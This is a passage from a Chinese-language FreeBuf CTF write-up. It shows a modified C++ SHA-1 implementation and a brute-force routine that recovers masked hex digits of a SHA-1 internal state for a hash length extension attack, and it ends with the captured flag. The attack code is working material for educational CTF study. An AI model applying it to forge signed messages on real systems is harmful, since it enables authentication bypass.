context->Corrupted  = 0;       return shaSuccess; }   /*  *    SHA1Result  *  *  以下为sha-1结果描述:  *:  *  该算法将会返回一个160比特的消息摘要队列  *  *  或者输出计算错误  *  */ int SHA_1::SHA1Result( SHA1Context   *context,                 unsigned char   Message_Digest[SHA1HashSize]) {       int i;         if (!context || !Message_Digest)       {         return shaNull;       }         if (context->Corrupted)       {         return context->Corrupted;       }         if (!context->Computed)       {         SHA1PadMessage(context);         for(i=0; i<64; ++i)         {             /* 消息清零 */             context->Message_Block[i] = 0;           }         context->Length_Low = 0;    /* 长度清零 */         context->Length_High = 0;         context->Computed = 1;       }         for(i = 0; i < SHA1HashSize; ++i)       {         Message_Digest[i] =   context->Intermediate_Hash[i>>2]                             >> 8 * ( 3 - ( i & 0x03 ) );       }         return shaSuccess; }   /*  *  以下为sha-1输入描述:  *  *  接收单位长度为8字节倍数的消息  *  */ int SHA_1::SHA1Input(    SHA1Context    *context,                   const unsigned char  *message_array,                   unsigned       length) {       if(isattack)                    return   shaSuccess;            if   (!length)       {         return shaSuccess;       }         if (!context || !message_array)       {         return shaNull;       }         if (context->Computed)       {         context->Corrupted =   shaStateError;           return shaStateError;       }         if (context->Corrupted)       {          return context->Corrupted;       }       while(length-- && !context->Corrupted)       {       context->Message_Block[context->Message_Block_Index++] =                     (*message_array &   0xFF);         context->Length_Low += 8;       if (context->Length_Low == 0)       {         context->Length_High++;         if (context->Length_High == 0)         {             /* Message is too long */             context->Corrupted = 1;         }       }         if (context->Message_Block_Index == 64)       {         SHA1ProcessMessageBlock(context);       }         message_array++;       }         return shaSuccess; }   int main(int argc, char* argv[]) {          class   SHA_1 sha1;          SHA_1::SHA1Context   sh1context; //      sha1.SHA1Reset(&sh1context,0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0);            paddinglength   = 128;          isattack   = TRUE;            char   c[]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};          int   b[7],b1[7];          int   bc=0,bc1=0;          for(int   i=0;i<strlen(argv[1]);i++)          {                    if(argv[1][i]   == 'x')                    {                             b[bc]   = i;                             bc++;                    }          }            for(i=0;i<strlen(argv[2]);i++)          {                    if(argv[2][i]   == 'x')                    {                             b1[bc1]   = i;                             bc1++;                    }          }            int   i1 = atoi(argv[3]); //      for(int   i1=7;i1<16;i1++)          {                    argv[1][b[0]]   = c[i1];                    for(int   i2=0;i2<16;i2++)                    {                             argv[1][b[1]]   = c[i2];                             for(int   i3=0;i3<16;i3++)                             {                                      printf("%d   %d %d/n",i1,i2,i3);                                      argv[1][b[2]]   = c[i3];                                      for(int   i4=0;i4<16;i4++)                                      {                                                argv[1][b[3]]   = c[i4];                                                for(int   i5=0;i5<16;i5++)                                                {                                                         argv[1][b[4]]   = c[i5];                                                         for(int   i6=0;i6<16;i6++)                                                         {                                                                  argv[1][b[5]]   = c[i6];                                                                  for(int   i7=0;i7<16;i7++)                                                                  {                                                                            argv[1][b[6]]   = c[i7];                                                                              char   sss[100];                                                                            char   *tostr;                                                                            memset(sss,0,sizeof(sss));                                                                            strcpy(sss,"0x");                                                                           memcpy(&sss[2],&argv[1][0],8);                                                                            unsigned   long h1 = strtoul(sss,&tostr,16);                                                                            memcpy(&sss[2],&argv[1][8],8);                                                                            unsigned   long h2 = strtoul(sss,&tostr,16);                                                                            memcpy(&sss[2],&argv[1][16],8);                                                                            unsigned   long h3 = strtoul(sss,&tostr,16);                                                                            memcpy(&sss[2],&argv[1][24],8);                                                                            unsigned   long h4 = strtoul(sss,&tostr,16);                                                                            memcpy(&sss[2],&argv[1][32],8);                                                                            unsigned   long h5 = strtoul(sss,&tostr,16);                                                                              sha1.SHA1Reset(&sh1context,h1,h2,h3,h4,h5);                                                                           sha1.SHA1Input(&sh1context,(BYTE*)"attack",128);                                                                            BYTE   hashresult[20];                                                                            sha1.SHA1Result(&sh1context,hashresult);                                                                            char   stemp[10];                                                                            char   output[100];                                                                            output[0]   = 0;                                                                            for(int   i=0;i<20;i++)                                                                            {                                                                                     sprintf(stemp,"%02x",hashresult[i]);                                                                                     strcat(output,stemp);                                                                            }                                                                            for(i=0;i<7;i++)                                                                                     output[b1[i]]  = 'x';                                                                            if(strcmp(argv[2],output)   == 0)                                                                            {                                                                                     printf("find!   /n%s/n",argv[1]);                                                                                     return   0;                                                                            }                                                                  }                                                         }                                                }                                      }                             }                    }          }              return   0; }

最后获取的flag为Congratulations, flag is flag{ha5h_ex7ens1on_r0cks!}

*作者:墨客,本文属FreeBuf原创奖励计划,未经许可禁止转载

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